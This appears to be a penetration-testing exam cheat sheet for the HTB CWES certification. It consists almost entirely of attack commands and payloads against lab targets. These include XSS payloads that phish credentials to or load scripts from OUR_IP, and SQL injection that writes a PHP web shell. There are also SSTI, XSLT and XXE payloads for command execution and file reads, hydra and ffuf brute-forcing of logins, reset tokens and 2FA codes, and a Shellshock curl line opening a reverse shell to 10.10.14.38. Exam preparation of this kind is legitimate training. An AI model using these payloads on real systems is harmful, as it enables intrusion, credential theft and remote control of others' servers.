CWES Exam - Guided By RedBlock

RedBlock@htb[/htb]$ whois facebook.com

RedBlock@htb[/htb]$ dig google.com

RedBlock@htb[/htb]$ dnsenum --enum inlanefreight.com -f  /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt

RedBlock@htb[/htb]$ dig axfr @nsztm1.digi.ninja zonetransfer.me

RedBlock@htb[/htb]$ gobuster vhost -u <http://inlanefreight.htb:81> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

RedBlock@htb[/htb]$ nikto -h inlanefreight.com -Tuning b

RedBlock@htb[/htb]$ python3 ReconSpider.py <http://inlanefreight.com>

RedBlock@htb[/htb]$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u <http://IP>:PORT/FUZZ
RedBlock@htb[/htb]$ ffuf -w /opt/useful/seclists/Discovery/Web-Content/common.txt -u <http://94.237.57.1:42381/webfuzzing_hidden_path/flag/FUZZ.html>
RedBlock@htb[/htb]$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -ic -u <http://IP>:PORT/FUZZ -e .html -recursion -recursion-depth 2 -rate 500

RedBlock@htb[/htb]$ wenum -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 -u "<http://IP>:PORT/get.php?x=FUZZ"
RedBlock@htb[/htb]$ ffuf -u <http://IP>:PORT/post.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "y=FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -v

RedBlock@htb[/htb]$ gobuster vhost -u <http://inlanefreight.htb:81> -w /usr/share/seclists/Discovery/Web-Content/common.txt --append-domain
RedBlock@htb[/htb]$ gobuster dns -d inlanefreight.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

RedBlock@htb[/htb]$ ffuf -u <http://IP>:PORT/post.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "y=FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt -v
RedBlock@htb[/htb]$ ffuf -u <http://IP>:PORT/post.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "y=FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt -v -mc all

RedBlock@htb[/htb]$ git clone <https://github.com/PandaSt0rm/webfuzz_api.git>
RedBlock@htb[/htb]$ cd webfuzz_api
RedBlock@htb[/htb]$ pip3 install -r requirements.txt
RedBlock@htb[/htb]$ python3 api_fuzzer.py <http://IP>:PORT

<script>alert(window.origin)</script>
<img src="" onerror=alert(window.origin)>
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();
<script src="http://OUR_IP/script.js"></script>
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'http://OUR_IP\\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>

RedBlock@htb[/htb]$ python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"

admin' or '1'='1
admin'--
admin')--
cn' UNION select 1,@@version,3,4-- -
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -
cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -

RedBlock@htb[/htb]$ sqlmap '<http://www.example.com/>' --data 'uid=1&name=test'
RedBlock@htb[/htb]$ sqlmap -u www.target.com --data='id=1' --method PUT
RedBlock@htb[/htb]$ sqlmap -r req.txt
RedBlock@htb[/htb]$ sqlmap -u www.example.com/?id=1 -v 3 --level=5
RedBlock@htb[/htb]$ sqlmap -u "<http://www.example.com/?id=1>" --banner --current-user --current-db --is-dba
RedBlock@htb[/htb]$ sqlmap -u "<http://www.example.com/?id=1>" --tables -D testdb
RedBlock@htb[/htb]$ sqlmap -u "<http://www.example.com/?id=1>" --dump -T users -D testdb
RedBlock@htb[/htb]$ sqlmap -u "<http://www.example.com/?id=1>" --dump -T users -D testdb --start=2 --stop=3
RedBlock@htb[/htb]$ sqlmap -u "<http://www.example.com/?id=1>" --dump -D master -T users
RedBlock@htb[/htb]$ sqlmap -u "<http://www.example.com/?id=1>" --passwords --batch
RedBlock@htb[/htb]$ sqlmap -u "<http://www.example.com/>" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"
RedBlock@htb[/htb]$ sqlmap -u "<http://www.example.com/?id=1>" --os-shell

<?php system($_REQUEST['cmd']); ?>

RedBlock@htb[/htb]$ exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>

$ seq 1 10000 > ports.txt
$ ffuf -w ./ports.txt -u <http://172.17.0.2/index.php> -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"
RedBlock@htb[/htb]$ ffuf -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u <http://172.17.0.2/index.php> -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://dateserver.htb/FUZZ.php&date=2024-01-01" -fr "Server at dateserver.htb Port 80"

{{ config.items() }}
{{ self.__init__.__globals__.__builtins__ }}
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

{{ _self }}
{{ "/etc/passwd"|file_excerpt(1,-1) }}
{{ ['id'] | filter('system') }}

RedBlock@htb[/htb]$ git clone <https://github.com/vladko312/SSTImap=>
RedBlock@htb[/htb]$ cd SSTImap
RedBlock@htb[/htb]$ pip3 install -r requirements.txt
RedBlock@htb[/htb]$ python3 sstimap.py
RedBlock@htb[/htb]$ python3 sstimap.py -u <http://172.17.0.2/index.php?name=test>

<!--#printenv -->
<!--#exec cmd="id" -->

<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />

<xsl:value-of select="php:function('system','id')" />

RedBlock@htb[/htb]$ curl -s -O <https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt>
RedBlock@htb[/htb]$ curl -s -O <https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/2023-200_most_used_passwords.txt>
RedBlock@htb[/htb]$ hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f IP -s 5000 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"

RedBlock@htb[/htb]$ sudo apt install ruby -y
RedBlock@htb[/htb]$ git clone <https://github.com/urbanadventurer/username-anarchy.git>
RedBlock@htb[/htb]$ cd username-anarchy
RedBlock@htb[/htb]$ ./username-anarchy Jane Smith > jane_smith_usernames.txt
RedBlock@htb[/htb]$ sudo apt install cupp -y
RedBlock@htb[/htb]$ grep -E '^.{6,}$' jane.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' | grep -E '([!@#$%^&*].*){2,}' > jane-filtered.txt
RedBlock@htb[/htb]$ hydra -L usernames.txt -P jane-filtered.txt IP -s PORT -f http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials"

$ ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt -u <http://172.17.0.2/index.php> -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"

RedBlock@htb[/htb]$ grep '[[:upper:]]' /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt
RedBlock@htb[/htb]$ ffuf -w ./custom_wordlist.txt -u <http://172.17.0.2/index.php> -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username"

RedBlock@htb[/htb]$ seq -w 0 9999 > tokens.txt
RedBlock@htb[/htb]$ ffuf -w ./tokens.txt -u http://weak_reset.htb/reset_password.php?token=FUZZ -fr "The provided token is invalid"

RedBlock@htb[/htb]$ ffuf -w ./tokens.txt -u http://bf_2fa.htb/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=fpfcm5b8dh1ibfa7idg0he7l93" -d "otp=FUZZ" -fr "Invalid 2FA Code"

<https://github.com/datasets/world-cities/blob/master/data/world-cities.csv>
RedBlock@htb[/htb]$ cat world-cities.csv | cut -d ',' -f1 > city_wordlist.txt
RedBlock@htb[/htb]$ ffuf -w ./city_wordlist.txt -u <http://pwreset.htb/security_question.php> -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=39b54j201u3rhu4tab1pvdb4pv" -d "security_response=FUZZ" -fr "Incorrect response."
RedBlock@htb[/htb]$ cat world-cities.csv | grep Germany | cut -d ',' -f1 > german_cities.txt

$ for ((i=1; i<= 20; i++)); do
curl -s -w "\\n" -X 'GET' \\
  '<http://94.237.49.212:43104/api/v1/supplier-companies/yearly-reports/'$i'>' \\
  -H 'accept: application/json' \\
  -H 'Authorization: Bearer TOKEN_JWT' | jq
done

RedBlock@htb[/htb]$ ffuf -w /opt/useful/seclists/Passwords/xato-net-10-million-passwords-10000.txt:PASS -w customerEmails.txt:EMAIL -u <http://94.237.59.63:31874/api/v1/authentication/customers/sign-in> -X POST -H "Content-Type: application/json" -d '{"Email": "EMAIL", "Password": "PASS"}' -fr "Invalid Credentials" -t 100

laptop' OR 1=1 --;

{
  __schema {
    types {
      name
    }
  }
}

{
   __type(name: "UserObject") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}

{
  __schema {
    queryType {
      fields {
        name
        description
      }
    }
  }
}

query {
  secrets {
    id
    secret
  }
}

{
  user(username: "test") {
    username
    password
  }
}

{
  user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") {
    username
  }
}

{
  user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5,6 FROM information_schema.columns WHERE table_name='flag'-- -") {
    username
  }
}

{
  user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(flag),4,5,6 FROM flag-- -") {
    username
  }
}

[
    {
        "query":"{user(username: \\"admin\\") {uuid}}"
    },
    {
        "query":"{post(id: 1) {title}}"
    }
]

mutation {
  registerUser(input: {username: "vautia", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "user", msg: "newUser"}) {
    user {
      username
      password
      msg
      role
    }
  }
}

$ curl -s -X GET <http://blog.inlanefreight.com> | grep '<meta name="generator"'
RedBlock@htb[/htb]$ curl -s -X GET <http://blog.inlanefreight.com> | sed 's/href=/\\n/g' | sed 's/src=/\\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2
RedBlock@htb[/htb]$ curl -s -X GET <http://blog.inlanefreight.com> | sed 's/href=/\\n/g' | sed 's/src=/\\n/g' | grep 'themes' | cut -d"'" -f2
$ curl -s -X GET <http://blog.inlanefreight.com/wp-content/plugins/mail-masta/> | html2text

RedBlock@htb[/htb]$ curl -s -I <http://blog.inlanefreight.com/?author=1>
RedBlock@htb[/htb]$ curl -s -I <http://blog.inlanefreight.com/?author=100>
RedBlock@htb[/htb]$ curl <http://blog.inlanefreight.com/wp-json/wp/v2/users> | jq

RedBlock@htb[/htb]$ curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>CORRECT-PASSWORD</value></param></params></methodCall>" <http://blog.inlanefreight.com/xmlrpc.php>
RedBlock@htb[/htb]$ curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>asdasd</value></param></params></methodCall>" <http://blog.inlanefreight.com/xmlrpc.php>
$ curl -X POST -d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>" <http://94.237.122.123:34562/xmlrpc.php>

RedBlock@htb[/htb]$ gem install wpscan
RedBlock@htb[/htb]$ wpscan --url <http://blog.inlanefreight.com> --enumerate --api-token Kffr4fdJzy9qVcTk<SNIP>

RedBlock@htb[/htb]$ curl <http://blog.inlanefreight.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd>

RedBlock@htb[/htb]$ wpscan --password-attack xmlrpc -t 20 -U admin, david -P passwords.txt --url <http://blog.inlanefreight.com>

RedBlock@htb[/htb]$ ffuf -w /usr/share/dirb/wordlists/common.txt -u <http://10.129.204.227:8080/cgi/FUZZ.cmd>
RedBlock@htb[/htb]$ ffuf -w /usr/share/dirb/wordlists/common.txt -u <http://10.129.204.227:8080/cgi/FUZZ.bat>
<http://10.129.204.227:8080/cgi/welcome.bat?&dir>
<http://10.129.204.227:8080/cgi/welcome.bat?&set>
<http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe>
RedBlock@htb[/htb]$ gobuster dir -u <http://10.129.204.231/cgi-bin/> -w /usr/share/wordlists/dirb/small.txt -x cgi
RedBlock@htb[/htb]$ curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' <http://10.129.204.231/cgi-bin/access.cgi>
RedBlock@htb[/htb]$ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' <http://10.129.204.231/cgi-bin/access.cgi>

RedBlock@htb[/htb]$ searchsploit adobe coldfusion
<http://example.com/index.cfm?directory=../../../etc/&file=passwd>
<http://www.example.com/CFIDE/administrator/settings/mappings.cfm?locale=../../../../../etc/passwd>
RedBlock@htb[/htb]$ searchsploit -p 50057

RedBlock@htb[/htb]$ java -jar iis_shortname_scanner.jar 0 5 <http://10.129.204.231/>
egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt
RedBlock@htb[/htb]$ gobuster dir -u <http://10.129.204.231/> -w /tmp/list.txt -x .aspx,.asp

RedBlock@htb[/htb]$ ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 -b "ou=people,dc=example,dc=com" "([email protected])"